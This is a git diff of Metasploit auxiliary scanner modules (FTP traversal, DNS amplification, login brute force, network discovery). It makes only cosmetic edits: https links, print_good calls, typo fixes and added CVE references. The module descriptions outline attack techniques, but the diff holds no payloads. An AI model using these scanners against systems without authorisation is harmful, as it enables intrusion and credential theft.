   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
index 900d008975..1879ea7099 100644
--- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
+++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'rex/proto/dcerpc/wdscp'
 require 'rex/parser/unattend'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -212,7 +211,7 @@ class MetasploitModule < Msf::Auxiliary
   def loot_unattend(archi, data)
     return if data.empty?
     p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
-    print_status("Raw version of #{archi} saved as: #{p}")
+    print_good("Raw version of #{archi} saved as: #{p}")
   end
 
   def report_cred(opts)
diff --git a/modules/auxiliary/scanner/dect/call_scanner.rb b/modules/auxiliary/scanner/dect/call_scanner.rb
index 63adfc802c..4832809ff0 100644
--- a/modules/auxiliary/scanner/dect/call_scanner.rb
+++ b/modules/auxiliary/scanner/dect/call_scanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::DECT_COA
 
   def initialize
@@ -54,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary
         if (data)
           parsed_data = parse_call(data)
           parsed_data['time'] = Time.now
-          print_status("Found active call on: #{parsed_data['rfpi']}")
+          print_good("Found active call on: #{parsed_data['rfpi']}")
           @calls[parsed_data['time']] = parsed_data
         end
 
diff --git a/modules/auxiliary/scanner/dect/station_scanner.rb b/modules/auxiliary/scanner/dect/station_scanner.rb
index 7c8cf2f78e..3a82e91e95 100644
--- a/modules/auxiliary/scanner/dect/station_scanner.rb
+++ b/modules/auxiliary/scanner/dect/station_scanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::DECT_COA
 
   def initialize
@@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
         if (data)
           parsed_data = parse_station(data)
           if (not @base_stations.key?(parsed_data['rfpi']))
-            print_status("Found New RFPI: #{parsed_data['rfpi']}")
+            print_good("Found New RFPI: #{parsed_data['rfpi']}")
             @base_stations[parsed_data['rfpi']] = parsed_data
           end
         end
diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb
index f16e9a7945..45993f560b 100644
--- a/modules/auxiliary/scanner/discovery/arp_sweep.rb
+++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Capture
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -63,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary
         while(reply = getreply())
           next unless reply.is_arp?
           company = OUI_LIST::lookup_oui_company_name(reply.arp_saddr_mac)
-          print_status("#{reply.arp_saddr_ip} appears to be up (#{company}).")
+          print_good("#{reply.arp_saddr_ip} appears to be up (#{company}).")
           report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
           report_note(:host  => reply.arp_saddr_ip, :type  => "mac_oui", :data  => company)
         end
@@ -76,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
       while(reply = getreply())
         next unless reply.is_arp?
         company = OUI_LIST::lookup_oui_company_name(reply.arp_saddr_mac)
-        print_status("#{reply.arp_saddr_ip} appears to be up (#{company}).")
+        print_good("#{reply.arp_saddr_ip} appears to be up (#{company}).")
         report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
         report_note(:host  => reply.arp_saddr_ip, :type  => "mac_oui", :data  => company)
       end
@@ -110,5 +109,4 @@ class MetasploitModule < Msf::Auxiliary
     return unless pkt.arp_opcode == 2
     pkt
   end
-
 end
diff --git a/modules/auxiliary/scanner/discovery/empty_udp.rb b/modules/auxiliary/scanner/discovery/empty_udp.rb
index cd551052e2..82dff49284 100644
--- a/modules/auxiliary/scanner/discovery/empty_udp.rb
+++ b/modules/auxiliary/scanner/discovery/empty_udp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb
index 84ab27ecf0..c8f27bc015 100644
--- a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb
+++ b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Capture
   include Msf::Exploit::Remote::Ipv6
   include Msf::Auxiliary::Report
@@ -99,5 +98,4 @@ class MetasploitModule < Msf::Auxiliary
     # Close capture
     close_pcap()
   end
-
 end
diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
index b0e68413be..00530de45c 100644
--- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
+++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ipv6
   include Msf::Exploit::Remote::Capture
   include Msf::Auxiliary::Report
@@ -67,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary
         while(reply = getreply())
           next unless reply.is_arp?
           if not found[reply.arp_saddr_ip]
-            print_status(sprintf("  %16s ALIVE",reply.arp_saddr_ip))
+            print_good(sprintf("  %16s ALIVE",reply.arp_saddr_ip))
             addrs << [reply.arp_saddr_ip, reply.arp_saddr_mac]
             report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
             found[reply.arp_saddr_ip] = true
@@ -81,7 +80,7 @@ class MetasploitModule < Msf::Auxiliary
         while(reply = getreply())
           next unless reply.is_arp?
           if not found[reply.arp_saddr_ip]
-            print_status(sprintf("  %16s ALIVE",reply.arp_saddr_ip))
+            print_good(sprintf("  %16s ALIVE",reply.arp_saddr_ip))
             addrs << [reply.arp_saddr_ip, reply.arp_saddr_mac]
             report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
             found[reply.arp_saddr_ip] = true
@@ -214,5 +213,4 @@ class MetasploitModule < Msf::Auxiliary
     return unless p.payload[0,2] == "\x88\x00"
     p
   end
-
 end
diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
index f0ac5a335b..cbf01588c4 100644
--- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
+++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Capture
   include Msf::Exploit::Remote::Ipv6
   include Msf::Auxiliary::Report
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
     'Description' => %q{
         Send a spoofed router advertisement with high priority to force hosts to
         start the IPv6 address auto-config. Monitor for IPv6 host advertisements,
-        and try to guess the link-local address by concatinating the prefix, and
+        and try to guess the link-local address by concatenating the prefix, and
         the host portion of the IPv6 address.  Use NDP host solicitation to
         determine if the IP address is valid'
     },
@@ -189,5 +188,4 @@ class MetasploitModule < Msf::Auxiliary
     # Close capture
     close_pcap()
   end
-
 end
diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb
index fe8279d29f..0ae3f05503 100644
--- a/modules/auxiliary/scanner/discovery/udp_probe.rb
+++ b/modules/auxiliary/scanner/discovery/udp_probe.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Module::Deprecated
@@ -127,7 +125,7 @@ class MetasploitModule < Msf::Auxiliary
       end
 
       report_service(conf)
-      print_status("Discovered #{data[:app]} on #{k} (#{data[:info]})")
+      print_good("Discovered #{data[:app]} on #{k} (#{data[:info]})")
     end
   end
 
@@ -357,7 +355,7 @@ class MetasploitModule < Msf::Auxiliary
       :info  => inf
     )
 
-    print_status("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
+    print_good("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
 
   end
 
@@ -534,5 +532,4 @@ class MetasploitModule < Msf::Auxiliary
   def probe_pkt_pca_nq(ip)
     return ["NQ", 5632]
   end
-
 end
diff --git a/modules/auxiliary/scanner/discovery/udp_sweep.rb b/modules/auxiliary/scanner/discovery/udp_sweep.rb
index 261fd7ef8c..86dd5e8af0 100644
--- a/modules/auxiliary/scanner/discovery/udp_sweep.rb
+++ b/modules/auxiliary/scanner/discovery/udp_sweep.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'openssl'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -91,7 +89,7 @@ class MetasploitModule < Msf::Auxiliary
       end
 
       report_service(conf)
-      print_status("Discovered #{data[:app]} on #{k} (#{data[:info]})")
+      print_good("Discovered #{data[:app]} on #{k} (#{data[:info]})")
     end
   end
 
@@ -490,5 +488,4 @@ class MetasploitModule < Msf::Auxiliary
   def probe_pkt_pca_nq(ip)
     return ["NQ", 5632]
   end
-
 end
diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb
index ef9d4de682..e8c1d5fd67 100644
--- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb
+++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q(
         This module implements the DLSw information disclosure retrieval. There
         is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
-        that allows an unuthenticated remote attacker to retrieve the partial
+        that allows an unauthenticated remote attacker to retrieve the partial
         contents of packets traversing a Cisco router with DLSw configured
         and active.
       ),
diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb
index b66783c091..e72a43604b 100644
--- a/modules/auxiliary/scanner/dns/dns_amp.rb
+++ b/modules/auxiliary/scanner/dns/dns_amp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Capture
   include Msf::Auxiliary::UDPScanner
@@ -15,11 +14,16 @@ class MetasploitModule < Msf::Auxiliary
       'Name'        => 'DNS Amplification Scanner',
       'Description' => %q{
           This module can be used to discover DNS servers which expose recursive
-          name lookups which can be used in an amplication attack against a
+          name lookups which can be used in an amplification attack against a
           third party.
       },
       'Author'      => [ 'xistence <xistence[at]0x90.nl>'], # Original scanner module
-      'License'     => MSF_LICENSE
+      'License'     => MSF_LICENSE,
+      'References'  =>
+          [
+              ['CVE', '2006-0987'],
+              ['CVE', '2006-0988'],
+          ]
     )
 
     register_options( [
@@ -124,7 +128,7 @@ class MetasploitModule < Msf::Auxiliary
           :port => datastore['RPORT'],
           :proto => 'udp', :name => "DNS",
           :info => "DNS amplification -  #{data.length} bytes [#{amp.round(2)}x Amplification]",
-          :refs => [ "CVE-2006-0987", "CVE-2006-0988" ])
+          :refs => self.references)
       end
 
       # If these flags are set, we get a valid response but recursion is not available
diff --git a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb
index f80a83dbb4..ddacb5254e 100644
--- a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb
+++ b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -79,5 +78,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb
index d37a86d717..e80a0a498b 100644
--- a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb
+++ b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -36,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
     data = sock.get_once
 
     if ( data and data =~ /rrobotd:rrobotd/ )
-        print_status("Host #{ip} is running the EMC AlphaStor Device Manager.")
+        print_good("Host #{ip} is running the EMC AlphaStor Device Manager.")
         report_service(:host => rhost, :port => rport, :name => "emc-manager", :info => data)
     else
         print_error("Host #{ip} is not running the service...")
diff --git a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb
index 71b4f8c0a6..593dec2db8 100644
--- a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb
+++ b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -36,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
     data = sock.get_once
 
     if ( data and data =~ /robotd~robotd~CLIENT/ )
-        print_status("Host #{ip} is running the EMC AlphaStor Library Manager.")
+        print_good("Host #{ip} is running the EMC AlphaStor Library Manager.")
         report_service(:host => rhost, :port => rport, :name => "emc-library", :info => data)
     else
         print_error("Host #{ip} is not running the service...")
diff --git a/modules/auxiliary/scanner/finger/finger_users.rb b/modules/auxiliary/scanner/finger/finger_users.rb
index 8f0b476c68..fbe018977d 100644
--- a/modules/auxiliary/scanner/finger/finger_users.rb
+++ b/modules/auxiliary/scanner/finger/finger_users.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -197,5 +196,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return true
   end
-
 end
diff --git a/modules/auxiliary/scanner/ftp/anonymous.rb b/modules/auxiliary/scanner/ftp/anonymous.rb
index c22af61035..a8819b112f 100644
--- a/modules/auxiliary/scanner/ftp/anonymous.rb
+++ b/modules/auxiliary/scanner/ftp/anonymous.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
index 9d95903fee..080c8da02f 100644
--- a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
+++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb
index 20529c9247..475f27d38d 100644
--- a/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb
+++ b/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
         This module exploits a directory traversal vulnerability found in ColoradoFTP server
         version <= 1.3 Build 8. This vulnerability allows an attacker to download and upload arbitrary files
         from the server GET/PUT command including file system traversal strings starting with '\\\'.
-        The server is writen in Java and therefore platform independant, however this vulnerability is only
+        The server is written in Java and therefore platform independent, however this vulnerability is only
         exploitable on the Windows version.
       },
       'Platform'       => 'win',
diff --git a/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb
index fe1bc7d77c..dcdac5e8eb 100644
--- a/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb
+++ b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb
index c0ef595dc3..1aa1f1fc1b 100644
--- a/modules/auxiliary/scanner/ftp/ftp_login.rb
+++ b/modules/auxiliary/scanner/ftp/ftp_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/ftp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -99,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
diff --git a/modules/auxiliary/scanner/ftp/ftp_version.rb b/modules/auxiliary/scanner/ftp/ftp_version.rb
index 14e1933d73..92d9e55350 100644
--- a/modules/auxiliary/scanner/ftp/ftp_version.rb
+++ b/modules/auxiliary/scanner/ftp/ftp_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary
 
     if(banner)
       banner_sanitized = Rex::Text.to_hex_ascii(self.banner.to_s)
-      print_status("FTP Banner: '#{banner_sanitized}'")
+      print_good("FTP Banner: '#{banner_sanitized}'")
       report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner_sanitized)
     end
 
diff --git a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb
index 7668791145..2ec8890289 100644
--- a/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb
+++ b/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb
index 599d7bc6f2..ed06706001 100644
--- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb
+++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
index ad76540ab4..66a9876fb0 100644
--- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
+++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -17,7 +16,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'           => 'Titan FTP XCRC Directory Traversal Information Disclosure',
       'Description'    => %q{
-          This module exploits a directory traversal vulnreability in the XCRC command
+          This module exploits a directory traversal vulnerability in the XCRC command
         implemented in versions of Titan FTP up to and including 8.10.1125. By making
         sending multiple XCRC command, it is possible to disclose the contents of any
         file on the drive with a simple CRC "brute force" attack.
@@ -97,7 +96,7 @@ class MetasploitModule < Msf::Auxiliary
 
     fname = datastore['PATH'].gsub(/[\/\\]/, '_')
     p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname)
-    print_status("Saved in: #{p}")
+    print_good("Saved in: #{p}")
     vprint_status(file_data.inspect)
 
     disconnect
@@ -122,5 +121,4 @@ class MetasploitModule < Msf::Auxiliary
     percent = "%3.2f%%" % done.to_f
     print_status("Obtaining file contents - %7s done (%d/%d bytes)" % [percent, current, total])
   end
-
 end
diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb
index fd2b94ad7a..5616dfd437 100644
--- a/modules/auxiliary/scanner/h323/h323_version.rb
+++ b/modules/auxiliary/scanner/h323/h323_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -134,7 +133,7 @@ class MetasploitModule < Msf::Auxiliary
         banner << "DisplayName: #{ remote_display }"
       end
 
-      print_status("#{rhost}:#{rport} #{banner}")
+      print_good("#{rhost}:#{rport} #{banner}")
       report_service(:host => rhost, :port => rport, :name => "h323", :info => banner)
     end
 
diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb
index cf3c64a372..4a4dda198b 100644
--- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb
+++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -93,5 +92,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_error("Fail to obtain file for some unknown reason")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb
index ca832aa447..ccd6a7bdd4 100644
--- a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb
+++ b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -85,5 +84,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/adobe_xml_inject.rb b/modules/auxiliary/scanner/http/adobe_xml_inject.rb
index 1f6dd4ff5a..7b2273b2d1 100644
--- a/modules/auxiliary/scanner/http/adobe_xml_inject.rb
+++ b/modules/auxiliary/scanner/http/adobe_xml_inject.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -12,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'        => 'Adobe XML External Entity Injection',
       'Description' => %q{
-          Multiple Adobe Products -- XML External Entity Injection. Affected Sofware: BlazeDS 3.2 and
+          Multiple Adobe Products -- XML External Entity Injection. Affected Software: BlazeDS 3.2 and
         earlier versions, LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1, and
         2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2
       },
diff --git a/modules/auxiliary/scanner/http/advantech_webaccess_login.rb b/modules/auxiliary/scanner/http/advantech_webaccess_login.rb
index 96e8bf428b..e1d2a706b0 100644
--- a/modules/auxiliary/scanner/http/advantech_webaccess_login.rb
+++ b/modules/auxiliary/scanner/http/advantech_webaccess_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/advantech_webaccess'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
